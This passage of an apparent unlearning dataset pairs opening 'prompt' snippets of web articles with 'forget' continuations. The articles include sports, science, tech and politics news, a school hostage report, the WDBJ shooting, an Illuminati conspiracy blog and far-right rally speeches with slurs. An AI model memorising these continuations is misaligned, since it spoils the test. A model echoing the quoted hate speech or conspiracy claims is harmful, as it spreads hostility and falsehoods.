of Autumn: Observing Durin\u2019s Day \u2013 by Kristine Larsen Predicting Durin\u2019s Day \u2013 by Iduna The reason for the difference of approximately two months comes from the different interpretations of the term \u201cautumn\u201d. Astronomically speaking, the end of autumn is around December 21 (for those in the Northern Hemisphere). If you disregard the astronomical component of it, then you could argue autumn can mean different things to different cultures. It does in our world, so why not in Tolkien\u2019s? Unfortunately Tolkien never"}
{"prompt": "UPDATED 1:52 p.m. CORTLAND, N.Y. -- The Jets roster lined up along one sideline, ordered to run dreaded gassers. They sprinted the width of the field twice, and repeated about 10 times, before the double whistle signaled the end. This was Rex Ryan's punishment when a second straight training-camp practice went beyond competitive, and became combative. \"Being physical is one thing,\" the Jets coach said today. \"Going past that is something else. That\u2019s what I didn\u2019t like. That\u2019s why we stopped, and we had to remind guys that enemy is not in green and white.\" It was the same message", "forget": "Ryan delivered after practice yesterday, when a melee of about 20 players erupted on the sideline after post-play extracurricular activity between running back Joe McKnight and safety D'Anton Lynn, the son of McKnight's position coach. Evidently, the message didn't get through the first time. So Ryan stopped practice twice today. He first stepped in when he saw rookie running back Terrance Ganaway try to run through linebacker Demario Davis in what he called a \"thud\" period, when players are instructed to simply thud off of each other. A skirmish began, and Ryan quickly stepped in, scolding his team. \"That\u2019s not what you are looking for; that\u2019s not being physical,\" Ryan said. \"That to me is being selfish. And so I told the guys about it and sure enough, apparently someone never got the message.\" That someone was cornerback Antonio Cromartie. Later in practice, during passing drills, Cromartie jawed at Stephen Hill after holding the rookie receiver. Ryan had issued a warning to his team, dangling the gassers as punishment, and the following play proved to be the final straw. Cromartie, a seven-year veteran, delivered what Ryan considered an inappropriate hit on tight end Dustin Keller. \"I thought 'Cro' should have backed off and not hit Dustin,\" Ryan said. \"He's trying to be physical and pick his play up. We always talk about developing habits. But in that situation, that\u2019s your teammate. You don\u2019t want to do it. I thought 'Cro' was wrong in that situation.\" Cromartie declined to speak to reporters today, loudly expressing his disdain for the media when approached by a member of the team's public relations staff. The practice field became stunningly quiet as the players retreated to the sideline for the gassers. When the sprints were complete -- Tim Tebow, for what it's worth, out-ran all"}
{"prompt": "By Chris Stone Share This Article: Ralph Keeling and Lynn Talley of Scripps Institution of Oceanography aren\u2019t household names. But they lent their scientific weight Saturday to an event that attracted a reported 15,000 people downtown. Support Times of San Diego's growth with a small monthly contribution Become a supporter While Washington\u2019s March for Science commanded most media attention, San Diego\u2019s walk gave the area\u2019s scientific community a more accessible public face as members called for stronger support from policy-makers. At one point in the rally, the call went out to scientists to identify themselves. Many hands rose. A typical", "forget": "chant: \u201cWhat do we want? Science! When do we want it? After peer review!\u201d Signs reflected a wide range of issues, including global warming, medical research, vaccination and proposed budget cuts. The San Diego March for Science was one of hundreds in the United States and worldwide marking Earth Day to raise awareness of the contributions of science to society, and the importance of supportive public policy, organizers said. The event kicked off with remarks from area scientists at the Community Concourse in the Civic Center complex next to City Hall, followed by the march down Broadway to the Waterfront Park outside the County Administration Center. Marchers carried signs saying \u201cbuild science not walls,\u201d \u201cice has no agenda it just melts,\u201d \u201cwe do not inherit the Earth from our ancestors, we borrow it from our children,\u201d \u201cthere is no planet B,\u201d \u201cno science? no beer,\u201d \u201cclimate change is real,\u201d \u201cscience rocks,\u201d and \u201cscience makes America great,\u201d among many others. The march received support from both UC San Diego and Balboa Park\u2019s Fleet Science Center. In Los Angeles, the LAPD estimated 10,000 to 12,000 people made the trek from Pershing Square to City Hall starting at 11 a.m. In pre-march remarks, Rep. Brad Sherman, D-Sherman Oaks, criticized the Trump administration. \u201cPolicy should be guided by scientific consensus. Scientific facts not `alternative facts,\u201d\u2018 he said. \u201cDonald Trump can\u2019t stop global warming just by emitting an unprecedented volume of hot air.\u201d California Senate President Pro Tem Kevin de Leon brought up immigration during remarks at City Hall. \u201cOne-half of our scientists in California today are immigrants.\u201d The group also heard from Martha Dina Arguello, executive director of Physicians for Social Responsibility in Los Angeles. \u201cToday the Cold War is over and the nuclear threat is not,\u201d she said. \u201cThere is no meaningful medical"}
{"prompt": "16 August, 2007 (14:29) | Duncan/Blake Mystery http://dreamsendweb.com/2007/08/16/tuesday-weld-conspiracy/ I\u2019m sorry, I thought I was familiar with most of the variation of Illuminati lore. Evidently there\u2019s a version that puts Tuesday Weld in the center of the Illuminati conspiracy. Thanks to a friend (who I\u2019ll name if he wants\u2026wasn\u2019t sure) for telling me about it. I don\u2019t have too much time to look much into it just now but maybe others know about it. A bit from Adam Gorightly : Turner\u2019s conspiratorial cosmology revolves around 60\u2019s sex kitten Tuesday Weld , who, Jeff contends, descended from a royal bloodline of Druid", "forget": "witches, and at a very early age had been selected as high priestess in the international Illuminati hierarchy. From this position of occult authority, Weld was able to wield great control over the 60\u2019s counterculture, secretly influencing such luminaries as the Beatles, the Rolling Stones, among other rock groups and movie stars of the era, meanwhile pulling the strings behind world events, exercising her occult influence in the realms of political intrigue. This would explain the Tuesday references everywhere. I\u2019m told Duncan liked Tuesday, and yet another page that is connected has the first post being \u201cI hate Tuesday\u201d. So I guess that sorta helps keep score here. Or something. Sorry for being slow on the uptake. I guess \u201cTuesday Weld\u201d and Illuminati High Priestess just didn\u2019t click in my own cosmology. Gorightly has an article in Steamshovel Press about this, but I haven\u2019t read it. Or maybe just go to his page and check out the links he provides. There are two audio files. Please note, I do not personally believe Tuesday Weld is an Illuminati high priestess. In fact, I don\u2019t even believe in the \u201cIlluminati\u201d beyond the historical one in Bavaria. It\u2019s their mythology we are exploring. But keep in mind that there ARE people out there who believe this, including, evidently, Jeff Turner who will take this to extremes. That\u2019s why I have objected to groups who intentionally spread this sort of disinformation for whatever reason. Here\u2019s a disturbing article about Turner, lifted from Gorightly\u2019s site : That said, Weld does come from old Boston Brahmin money , so I wouldn\u2019t be surprised to see the Weld family name pop up when looking at the structure of our ruling elites. And she was also a \u201cchild model\u201d, so who knows what darkness may lie underneath the"}
{"prompt": "Head coach Will Muschamp of the Florida Gators (3-2, 2-2 SEC) met with the media on Monday as his team continues to recover from its latest loss while preparing for the Missouri Tigers (4-2, 1-1 SEC) on Saturday evening. Florida will host Mizzou at Ben Hill Griffin Stadium in Gainesville, Florida; kickoff is scheduled for 7 p.m., and the agme will air live nationally on ESPN2. INTRODUCING THE TWO-QUARTERBACK SYSTEM In what was likely to be the original plan last week against LSU, Muschamp confirmed Monday that Florida will employ a two-quarterback system this week against Missouri with redshirt junior", "forget": "Jeff Driskel likely to take the first snaps in the contest. \u201cThey both will play this week. We\u2019ll work through the week and see how things go. We\u2019ll see how it goes there,\u201d he said. \u201cRight now, Jeff would probably start, but they\u2019re both going to play.\u201d Driskel, who learned of his demotion to part-time player when Muschamp made the announcement, said he has no qualms with the decision because he knows he needs to pick up his play going forward. Freshman Treon Harris, of course, will be the other signal caller taking reps with Driskel. \u201cTreon and I are both going to work hard this week. We\u2019re both going to work for each other. We\u2019re both going to hope that the other person does well when they\u2019re in. Obviously we think that\u2019s something that\u2019s going to help the team, so if it will help the team win, I\u2019m all for it,\u201d Driskel said. \u201cThe guys have confidence in Treon, but I think they have confidence in me as well. It\u2019s not going to divide the team or anything.\u201d Muschamp said Harris spent his first day fully back with the team on Monday. He is confident that Harris will be able to rebound after a tough week and help the team against Mizzou, explaining what it is about Harris that makes him a special player. \u201c[He is] a guy that has shown the ability to make some plays, to take the ball in the right spots, accurate with his passes, has a certain confidence about him. I think that\u2019s been something I\u2019ve seen and noticed throughout his opportunities, though limited in games. In practice, that\u2019s something that really jumps out at you, his playmaking ability to be able to make those things happen,\u201d Muschamp explained. \u201cHe\u2019s got a certain persona"}
{"prompt": "Belmont Development Posted Wednesday, August 10, 2016 10:27 am Potential Belmont Park developer the Engel Burman Group has sponsored a radio advertisement, produced by a civic group in Elmont, that criticizes the plan for the vacant south lot of the racetrack put forth by the New York Cosmos soccer team. The Elmont Community Coalition Council produced the ad, which ran sporadically on 1010 WINS and the CBS radio affiliate in Albany starting in late 2013. The council was founded as a communitywide organization with representatives from each of the handful of civic groups in Elmont, but it has not had", "forget": "a formal meeting since 2014. \u201cWe don\u2019t need a mega-soccer stadium with 25,000 seats that will never be filled,\u201d said former Elmont Board of Education President Aubrey Phillips, who narrated the commercial. \u201cWe need things that will add value to our community.\u201d The Cosmos plan, which includes a 175-room hotel along with retail and restaurant space, is one of three possible developments for the site. The Syosset-based Blumenfeld Development Group presented its plan on May 18. It featured a Costco Business Center as well as recreation space and retail and restaurant spots. Engel Burman, based in Garden City, features similar retail and restaurant space along with a community center and field. Steven Krieger, a partner in the development company, presented Engel Burman\u2019s plan to residents on June 15. According to Phillips, the ads were created because of the lack of community input on the various projects. Additionally, the members of the Community Coalition Council, which include Phillips, felt that Elmont\u2019s three state senators, along with Gov. Andrew Cuomo, were not representing the community\u2019s needs. \u201cThe Community Coalition Council is committed to a development that better reflects the wishes of the community, and not something that has a proven track record of failure,\u201d Phillips, referring to the Cosmos plan, told the Herald. \u201cOver the last 30 years, the evidence of whether they fail or succeed is clear. They don\u2019t enhance the community.\u201d The Community Coalition Council contacted Engel Burman in 2013 about working on the advertisements, Phillips said. The members of the council crafted a message focusing on the type of development the majority of residents preferred. \u201cFor the last several years, Engel Burman has been openly engaged in working with the Elmont Community Council regarding our proposal to create a multi-use development on the grounds of Belmont that would meet"}
{"prompt": "The 5-4 Supreme Court decision in Obergefell v. Hodges was celebrated loudly as a victory for supporters of gay \u201cmarriage\u201d Friday, and yet, the way the case was decided, using a new interpretation of the 14th Amendment\u2019s due process clause, may have opened the floodgates for gun rights reform. I argued Friday morning that the Obergefell decision validated concealed carry reciprocity nationwide. By using the Constitution in such a manner, the Court argues that the Due Process Clause extends \u201ccertain personal choices central to individual dignity and autonomy\u201d accepted in a majority of states across the state lines of a", "forget": "handful of states that still banned the practice. The vast majority of states are \u201cshall issue\u201d on the matter of issuing concealed carry permits, and enjoy reciprocity with a large number of other states. My North Carolina concealed carry permit, for example, was recognized yesterday as being valid in 36 states, which just so happened to be the number of states in which gay marriage was legal yesterday. But 14 states did not recognize my concealed carry permit yesterday. Today they must. Using the same \u201cdue process clause\u201d argument as the Supreme Court just applied to gay marriage, my concealed carry permit must now be recognized as valid in all 50 states and the District of Columbia. What I didn\u2019t know at the time is that a more expansive argument had already made by Marc Greendorfer in an amicus brief attached to the Obergefell case. In retrospect, it seems short-sighted to believe that the majority decision by the five justice majority in Obergefell would only apply to something as narrow as one kind of state or local gun law. As Greendorfer argues, if there is any intellectual and logical consistency in the Supreme Court\u2019s arguments at all, the \u201cdue process\u201d argument must be applied as equally to state and local gun laws, sweeping them aside entirely, and reaffirming the clear command in the Second Amendment that, \u201cA well regulated Militia, being necessary to the security of a free State, the right of the people to keep and bear Arms, shall not be infringed.\u201d All, state and local on concealed and open carry would seem to be invalidated, and citizens should be allowed to carry firearms, either openly or concealed, anywhere they want to go. Dare the Court dare claim that the 14th Amendment\u2019s due process clause only applies in specific"}
{"prompt": "Were you also looking for H-295 Forward Observer Module? Target Locator Production information Manufacturer Misriah Armory Model H-165 FOM Type Laser designator Cost N/A Technical specifications Size Single-handed Damage Per Hit Extremely High Magazine Size 1 (7 missiles per magazine) Maximum Ammunition 3 (Campaign and Firefight) 3 (Unearthed) Ammunition Type Orbital missiles Operation 7 missile salvo Rate of Fire Very low Usage Era(s) Human-Covenant war Affiliation United Nations Space Command [Source] \u2022 [Talk] The H-165 Forward Observer Module, also known as the Target Locator[1] or Target Designator,[2] is a United Nations Space Command artillery fire designator. The Target Locator is", "forget": "a compact, handheld laser emitter designed for acquiring and designating targets for small-scale precision rocket artillery support. Although small, it is a very powerful weapons[3][4] While similar in function to the UNSC Laser Designator, the Target Locator is much smaller and can be held with one hand. The Target Locator has both 2x and 4x magnification. The Target Locator appears as a weapon in Halo: Reach. When the trigger is held down for several seconds, a green laser beam marks the targets, and a red circle is projected on the ground around the target area. Once the target has been locked, 7 missiles strike the designated area from above, doing a large amount of area damage.[5] The Target Locator can also lock onto an individual target, with the projected red circle following the target until the strike is about to commence. Contents show] Trivia Edit Destroying two vehicles with a single fire mission from the Target Locator in the mission ONI: Sword Base unlocks the Achievement Two Corpses in One Grave. This is similar to the Halo 3 Achievement Two for One, which is unlocked by earning a Double Kill with the Spartan Laser, another anti-vehicular specific weapon. Achievement Two for One, which is unlocked by earning a Double Kill with the Spartan Laser, another anti-vehicular specific weapon. On Campaign, it rarely can regenerate its ammo. The Target Locator is available only in Firefight and the Campaign mission ONI: Sword Base. It does not appear in Matchmaking or Forge for balancing reasons. The Target Locator available on the Firefight map Unearthed carries three shots instead of two. If infinite ammunition is enabled, the Target Locator will still deplete but, if it has zero shots remaining and the reticle has become a cross, one can continue to fire the Target Locator"}
{"prompt": "Robotic submersible probes depths of up to 4,000m near Antarctic Peninsula to obtain unprecedented data on how mixing ocean waters affect climate change A yellow submarine dubbed Boaty McBoatface has obtained \u201cunprecedented data\u201d from its first voyage exploring one of the deepest and coldest ocean regions on Earth, scientists have said. The robotic submersible was given the name originally chosen for a new polar research ship by irreverent contestants in a public competition. Embarrassed officials decided to ignore the popular vote and instead named the vessel the RRS Sir David Attenborough in honour of the veteran broadcaster. A storm of", "forget": "protest led to a compromise that allowed the name to live on. The submarine plunged to depths as far as 4,000 metres to obtain information about temperature, water flow speed and turbulence from Orkney Passage, a region of the Southern Ocean about 500 miles from the Antarctic Peninsula. The data will help scientists to understand the complex ways that mixing ocean waters affect climate change. Boaty McBoatface: tyrants have crushed the people\u2019s will | Stuart Heritage Read more Prof Alberto Naveira Garabato from the University of Southampton said: \u201cThe Orkney Passage is a key chokepoint to the flow of abyssal waters in which we expect the mechanism linking changing winds to abyssal water warming to operate. \u201cOur goal is to learn enough about these convoluted processes to represent them in the models that scientists use to predict how our climate will evolve over the 21st century and beyond. \u201cWe have been able to collect massive amounts of data that we have never been able to capture before due to the way Boaty is able to move underwater. Up until now we have only been able to take measurements from a fixed point, but now we are able to obtain a much more detailed picture of what is happening in this very important underwater landscape.\u201d The submersible was launched from the RRS James Clark Ross as part of the seven-week expedition. It is a new type of autonomous underwater vehicle (AUV) and can travel under ice and reach depths of 6,000 metres, transmitting the data it collects to researchers via a radio link. The universities and science minister, Jo Johnson, said: \u201cFresh from its maiden voyage, Boaty is already delivering new insight into some of the coldest ocean waters on Earth, giving scientists a greater understanding of changes in the Antarctic"}
{"prompt": "giffgaff claims to be \u201cthe network run by you\u201d, so perhaps it shouldn\u2019t be quite so surprised when the online community objects to what was a mobile phone company suddenly deciding it\u2019s a bank. The \u201crun by you\u201d bit means that the company worries a lot about what customers say in the forums. And what the \u201cowners\u201d are saying is that they don\u2019t like it. One contributor says \u201cgiffgaff [are] selling their soul\u201d, while others are questioning how the model where \u201cowners\u201d get commission on getting others to sign up for a giffgaff phone will translate to siging up for", "forget": "a giffgaff loan. giffgaff did originally propose a \u201cpayback\u201d scheme, but this was shouted down and the plans to do that now seem to have been nixed. The mechanism by which the loan works is that it\u2019s through a company called RateSetter, which co-ordinates peer-to-peer lending. In its FAQ, giffgaff says: Is giffgaff money a niche product within the financial sector?: The financial services market is still dominated by the big banks, but there have been new entrants. The supermarkets have launched banks to compete and the growth of peer-to-peer lending has provided an alternative opportunity for investors to gain better returns and lower borrowing rates. giffgaff believes that by working with RateSetter to promote a fairer, more transparent way of borrowing that we can help grow this sector of the market. At the moment, it is fair to say that it is a niche sector, but one that is growing fast.\u201d Which hints at ambitions to be a big lender. The scheme allows people over 21 to borrow sums of between \u00a3750 and \u00a37,500 for up to five years. There are light credit checks and the rate depends on the person doing the borrowing. It\u2019s grown out of a system of loans for buying a handset. giffgaff will allow customers to take out a loan, using RateSetter to buy the handset with the mobile deal being SIM only. Despite the forum malcontents, a spokesperson for giffgaff told El Reg that the move into moneylending followed consultation both online and offline, adding that giffgaff was \u201call about the individual\u201d. Of course, giffgaff isn\u2019t truly run by you: it\u2019s 100 per cent owned by O2, which for the moment is owned by Telefonica. It remains to be seen what Three will do with giffgaff when it acquires O2. RateSetter and giffgaff"}
{"prompt": "Robert Webb risked being typecast by the popularity of TV\u2019s Peep Show, but as he tells Nick Ahad, the stage has given him a chance to shine. As the feckless half of one of the most popular double acts on British television in the last decade, Robert Webb could have easily become a victim of his own success. Robert Webb and David Mitchell turned Peep Show into a hugely popular cult hit. Alongside David Mitchell, his co-star in Channel Four\u2019s Peep Show, Webb has been so taken into the hearts of fans as Jeremy, that many imagine the line between", "forget": "actor and character must have become a little blurred. In Peep Show, Jeremy and Mark are men in their thirties, who share a London flat. They are the classic odd couple \u2013 Mark, buttoned up and career minded, Jeremy convinced that the world is just waiting to discover his musical genius \u2013 this despite his lack of ability to play any instrument. For a while it seemed like Webb might always be in Jeremy\u2019s shadow when it came to acting roles, but he has discovered a way to break out of the Peep Show straitjacket through turning to the stage. The Cambridge graduate, who toured with the famous university Footlights group, has spent the last six months proving to London audiences that he is much more than the overgrown teen Jeremy. He has also ably demonstrated he is more than the less intellectual half of the Mitchell and Webb double act. He did this by firstly taking on the role of Bertie Wooster in the stage adaptation of Jeeves and Wooster in Perfect Nonsense in the West End. Then once he had turned heads with an impressive performance in that show he went on to appear in a new West End production of the brilliant Tim Firth-written Neville\u2019s Island, which premiered at Scarborough\u2019s Stephen Joseph Theatre over a decade ago. The notices were kind about Webb\u2019s performances, so much so for his portrayal of Wooster that the show is now heading out on a national tour, and Webb is coming with it. Taking on the stage roles was fraught with possible pitfalls. Would those who know Webb only for his television work take him seriously when he trod the boards? He also faced the question of the shoes he was going to fill in taking on the role of Bertie"}
{"prompt": "Steve Cohen writes: We have been developing a suite of programs in C++ which allow us to do Bayesian hierarchical regression and logit/probit models on marketing data. These efforts have included the use of high performance computing tools like nVidia\u2019s CUDA and the new OpenCL standard, which allow parallel processing of Bayesian models. Our software is very, very fast \u2013 even on databases that are \u00bd terabyte in size. The software still needs many additions and improvements and a person with the right skill set will have the chance to make a significant contribution. My [Cohen\u2019s] firm is looking for", "forget": "strong candidates to help us in developing software and analyzing data using Bayesian methods. Here\u2019s the job description he sent: Bayesian statistician and C++ programmer The company In4mation Insights is a marketing research, analytics, and consulting firm which operates on the leading-edge of our industry. Our clients are Fortune 500 companies and major management consulting firms. We solve tough business problems with quantitative creativity, results-oriented and powerful models, robust response tools and techniques, and uncommon know-how. We need talented, creative, superior thinkers and leaders to join us and to help create an organization that will become the one that clients will want to work with and that people will want to work for. We are located in Needham, Massachusetts, just 20 minutes from downtown Boston. We offer competitive salary, health/dental care, and a 401K program. The position We are searching for an experienced statistician/developer who knows both Bayesian statistics AND programming in C++. For Bayesian statistics, the candidate MUST have experience with: \u2022 MCMC methods, including Gibbs sampling, Metropolis-Hastings sampling, and slice sampling \u2022 Econometrics and/or mathematical statistics, with strong knowledge of regression and choice models (e.g. logit, probit, tobit) As a developer, you MUST know: \u2022 C++ exceptionally well \u2022 R and/or S-Plus \u2022 Knowledge of SAS is helpful, but not required In addition to statistical software development, the position involves aiding in statistical modeling of large transactional databases. Consultation with other staff and clients on interpretation and analysis of advanced models is also part of this job. Next steps If you are interested in this position, please send an updated resume with salary requirements to steve@in4ins.com. See our website www.in4ins.com for additional details about the company. Please highlight for us: \u2022 Your statistical experience \u2022 Experience with Bayesian estimation methods \u2022 Experience with C++ \u2022 Experience in developing"}
{"prompt": "Everybody likes free and with Bitrix24 you get a lot of free stuff \u2013 free private social network, free crm and invoices, free project management, free document management, free calendar and 30+ other free business tools that come handy when you run a busy web studio. Intrigued? Let\u2019s take a closer look. Essentially Bitrix24 is social intranet for businesses (sometimes called enterprise social network or private social network) \u2013 meaning it\u2019s a social network used for business. You use it to discuss ideas with your coworker and clients, share documents and send messages to each other. Kind of like Facebook,", "forget": "but your own. Because Bitrix24 comes with free 5GB worth of storage, it\u2019s perfect for discussing designs, sketches and drafts. The difference between Bitrix24 and Behance or other social tools for designers is that it\u2019s more business oriented. Rather than collaborating on designs, you collaborate on projects. CRM module is where you store you clients and prospects. You can either enter them manually, import from Excel or import automatically from your web form (like quote request from on your website). You can communicate with your clients via e-mail directly from the CRM thanks to Send\u2019n\u2019Save feature in order to convert your prospects to paying clients. Invoices are available for free in CRM, so you can bill your clients directly from the CRM as well. Project management module allows you to create a separate workgroup for each project you are currently working on. Importantly, you can invite people outside you company (like clients, for example) into workgroups via extranet feature. The instruments for project management in Bitrix24 are fairly standard \u2013 Gantt charts, tasks, check lists, task reports and so on. As with CRM, all this is available for free. If you\u2019ve ever worked with Dropbox, you\u2019ll see that file sharing and Bitrix24.Drive work pretty much exactly as in Dropbox \u2013 you can store files, share them, including providing external links outside your intranet so others can download your files, if you want, you can edit documents together and revert to older version, if you\u2019ve made a mistake and so on. You can map a single document library or all of your document libraries to a network drive on your local machine literally in 2 clicks using WebDav. Good stuff. Calendars are another cool Bitrix24 feature. You can share calendars, subscribe to your coworkers calendars, in order to know they schedule"}
{"prompt": "Are you there? Tell iReport what you see. Get the local report from WBAY. (CNN) -- All 24 hostages held captive by a hangun-toting student in northeast Wisconsin were freed Monday night, after several hours of being confined inside a high school classroom, police said. Marinette Police Chief Jeffrey Skorik told reporters just before 8:30 p.m. (9:30 p.m. ET) that the hostages -- 23 students and a female teacher -- were safe and would soon be reunited with their families. The chief did not immediately divulge the condition or whereabouts of the suspect, whose name has not been released. The", "forget": "young male took over the classroom about 3 p.m. Monday, as classes were ending at Marinette High School. He prevented anyone from leaving the room and eventually communicated with police through a teacher, Skorik said. The chief announced shortly before 8 p.m. (9 p.m. ET) Monday that five hostages -- all students -- had been released. The hostage-taking student had no previous run-ins with the law, according to Skorik, adding that he had \"no idea\" about the suspect's motive. A Marinette school administrator called police at 3:48 p.m. (4:48 p.m. ET) Monday, after most students had left for the day, reporting that an armed student had gone into a classroom and taken those inside hostage. Bradley Behrendt, a city councilor, told CNN that he was two blocks from the school when about 15 police squad cars pull up and several officers come out, with their vests on and holding guns as they entered the school. \"They were just going like crazy,\" Behrendt said of the police response. By about 7 p.m., about 40 law enforcement personnel had converged on the scene, according to Skorik, with more coming in as the night went on. They included hostage negotiators who set up inside the school, according to Skorik. They had not talked directly with the student some three hours into the incident, but did get regular updates from the teacher. Skorik said that the hostage-taker is a student at Marinette High, and that he believed -- though he could not confirm -- the student was assigned to the class that he took over. Police know the identity of the student, though they haven't name him publicly, and have talked with his family members. Skorik said law enforcement believe the the young male, armed with a single handgun, acted alone. The incident riled"}
{"prompt": "2 Journalists Killed During Live Broadcast In Virginia; Suspect Has Died Enlarge this image toggle caption DAVID MANNING/Reuters /Landov DAVID MANNING/Reuters /Landov (This post was last updated at 3:43 p.m. ET.) Two journalists for Virginia TV news station WDBJ were killed by a gunman Wednesday morning while they were broadcasting live at a waterfront shopping center about an hour southeast of Roanoke, Va. Reporter Alison Parker and photojournalist Adam Ward were doing a live report from Bridgewater Plaza in Moneta when a gunman opened fire, killing Parker and Ward and injuring Vicki Gardner, the head of a local Chamber of", "forget": "Commerce who was being interviewed. Gardner is now in stable condition, hospital officials say. A suspect in the shooting was quickly identified \u2014 in part because of video taken at the scene \u2014 as Vester Lee Flanagan, 41, a former reporter for the station who was also known as Bryce Williams. toggle caption Twitter Franklin County Sheriff Bill Overton says Flanagan has died. He had suffered a gunshot wound when he was taken into custody by Virginia State Police after a car chase that came hours after the shooting; authorities earlier said Flanagan was in critical condition. At a 2:15 p.m. news conference, Overton said that less than an hour earlier, Flanagan had \"died at Fairfax Inova Hospital in Northern Virginia, as a result of a self-inflicted gunshot wound.\" In an earlier statement, Virginia State Police described how the shooting suspect had fled and eventually reached Interstate 66, with police in pursuit. The suspect refused to stop, ran off the road and crashed. When police approached the vehicle, they found he had suffered a \"gunshot wound.\" The man, police said, was taken to a hospital with \"life-threatening injuries.\" In an interview with CNN, Jeffrey A. Marks, WDBJ-TV's general manager, said Flanagan was hired as a reporter, but about two years ago he was fired. During a separate broadcast on his network, Marks said Flanagan had filed a complaint with the U.S. Equal Employment Opportunity Commission after he was fired. The station reports: \"This happened during a live broadcast around 6:45 a.m. ... \"Adam was 27-years-old. Alison just turned 24. \"Both were from the WDBJ7 viewing area.\" Video shows the camera panning to Parker in the middle of an interview as the gunman opens fire. Parker can be heard screaming. The final image in the video shows the camera falling down"}
{"prompt": "Cashin' In, Eric Bolling's Saturday morning program features a group of Fox Yakkers, mainly hard core right-wingers, who pontificate on matters of finance, politics and hot news. Apparently, it's time to lend some credence to the outrageous proclamations of the GOP front runner, Donald J. Trump, and his anti-Muslim immigration idea. It's time to lay blame squarely where it belongs for this bloviating maniac's irresponsible ideas that now define the Republican party. President Obama has wrought this havoc, not the GOP, who produced this literal embodiment of the deep-seeded, bigoted hate felt by their party. He has created this climate", "forget": "for divisiveness. Bolling seems to believe that our media, purported to be 'liberal,' has been more than culpable, especially in light of the recent Daily News headlines denouncing the recalcitrant Trump. Michelle Fields, whose rise to prominence consisted of an attempt at insulting teachers to Matt Damon, thinks that the Hillary Clinton email scandals are far more egregiously offensive than banning members of a faith that boasts over a billion followers. Apparently, Fields has been living under a rock for the last two years, as is evidenced by this comment: 'I didn't see the media calling her ridiculous words and names like they did with Donald Trump.' Democratic Strategist, Jessica Tarlov reminds the panel that Trump expressed that he didn't mind being compared to Hitler, and that Japanese internment camps weren't 'that bad.' Bolling wants to hear none of her Trump-is-off-the-rails truths, he wants to demonize the media and other GOP candidates for ganging up on Trump, while bashing the President for failing to say Radical Islam. Bolling thinks that everyone is just unfairly picking on a good idea, you know, just ban all Muslims. After all, Trump's cockamamie proposals only seem to boost his poll numbers. Hoenig, not his usual acerbic self today, simply explains the allure of Trump. Tarlov gives a milquetoast acquiescence to Bolling's idea that it's not such a bad idea to ban all Muslims from entering the U.S. because people are afraid (thanks to Fox 'News' and their AM talk radio counterparts). But she did mention all the people he's trashed: women, Mexicans, the handicapped, and finally they're (the GOP) saying something, they're trashing an entire religion. \u2193 Story continues below \u2193 Bolling counters by playing the soundbite from Loretta Sanchez (D-Ca) where she admits that there is a small percentage, 5%-20% of Muslims, who"}
{"prompt": "Blair Cottrell: They will call you racists, bigots, they will put pressure on you, but in order to rise above it you need to not care. You need to put your fists up, be ready to fight, to stand up, defend the history of our great nation. [Applause, cheers] Christine El-Khoury: A small but growing anti-Islamic movement has taken to the streets in rallies in cities and regional centres across Australia. Blair Cottrell: You will see our movement grow. You will see us blossom, you will see us advance into the greatest upheaval this country has ever known. The only", "forget": "way to stop us now is to kill us, and good luck. [Applause, cheers] Christine El-Khoury: The language is aggressive and war-like. It's as if they see Muslims and any sympathisers as an enemy in which there will be a fight to the death. And they don't understand why their views aren't mainstream. Chris Shortis: Well, it's only controversial to those left-wing fucktards and all the sympathisers of Islam and all the treacherous dogs who are in office in our fucking country. Christine El-Khoury: A number of new far-right groups have emerged, among them Reclaim Australia and the United Patriots Front. Both have ties to the Australian Defence League, an ultra-right-wing group known for its racist and anti-Islamic hate speech. They may gather under a different banner, but they all have one thing in common; they see Muslims and Islam as an evil ideology that must be overcome. Their supporters cloak themselves in the flag. Some are heavily tattooed, swastikas, angry men, some with criminal histories. It gives every appearance of being threatening and potentially violent. But according to Rise Up Australia president Daniel Nalliah, that image they present is not what he sees. Daniel Nalliah: They are lovely young men. When I get into their hearts and start talking to them, sit down for a drink with them, have a meal with them, I see a different side to these boys. They are lovely Aussie boys who love their country. Christine El-Khoury: These lovely Aussie boys are the members of the United Patriots Front, they're one of a number of far nationalist groups who have emerged this year. They want an end to Muslim migration and multiculturalism. And they're on the police radar. Neil Gaughan: I wouldn't say we have a profile, but, look, it's fairly clear that there"}
{"prompt": "Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues", "forget": "that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? The word in Washington is that President Obama has, in negotiations with Congressional Republicans, offered to raise the Medicare eligibility age from 65 to 67. Ad Policy A report in the Washington Post quoted \"a Democratic official familiar with the discussions,\" while other media outlets quoted multiple unnamed sources with knowledge of the talks the president and Congressional leaders have been engaged in with regard to raising the debt ceiling. All the reports suggest that Obama would trade the change in the eligibility age for a Republican agreement to accept some new taxes. Obama essentially acknowledged as much Monday, when he said: \u201cI\u2019m prepared to take significant heat from my party to get something done.\" He should take significant heat. The president\u2019s proposal does not resemble a plan that mainstream Democrats would suggest, let alone support. In fact, it roughly resembles a plan advanced last month by Senators Tom Coburn,"}
